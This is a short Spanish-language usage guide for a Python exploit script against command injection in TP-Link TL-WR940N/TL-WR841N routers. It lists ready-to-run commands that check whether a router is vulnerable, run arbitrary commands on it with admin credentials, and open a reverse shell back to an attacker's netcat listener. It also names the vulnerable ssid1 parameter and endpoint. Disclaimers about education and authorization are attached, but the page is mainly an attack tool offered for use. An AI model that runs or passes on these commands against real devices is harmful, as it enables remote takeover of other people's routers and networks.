Exploit en Python para la Vulnerabilidad de Inyección de Comandos en TP-Link TL-WR940N/TL-WR841N

Instrucciones de Uso

1. Verificación Básica de Vulnerabilidad:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. Ejecutar Comando Personalizado:

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. Shell Inversa (configure el listener primero con nc -lvnp 4444):

   root@kitploit:~

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

Notas Importantes:

• Estos scripts son solo con fines educativos y de prueba
• Obtenga siempre la autorización adecuada antes de probar cualquier sistema
• El comando de reinicio se usa por defecto porque no es destructivo y es fácilmente verificable
• La shell inversa puede no funcionar en todas las versiones de firmware, ya que depende de los binarios disponibles
• Algunas versiones de firmware requieren una ruta aleatoria en la URL que el script intenta detectar automáticamente

La vulnerabilidad existe debido a una sanitización incorrecta de la entrada en el parámetro ssid1 del endpoint /userRpm/WlanNetworkRpm.htm, lo que permite la inyección de comandos a través de solicitudes especialmente diseñadas.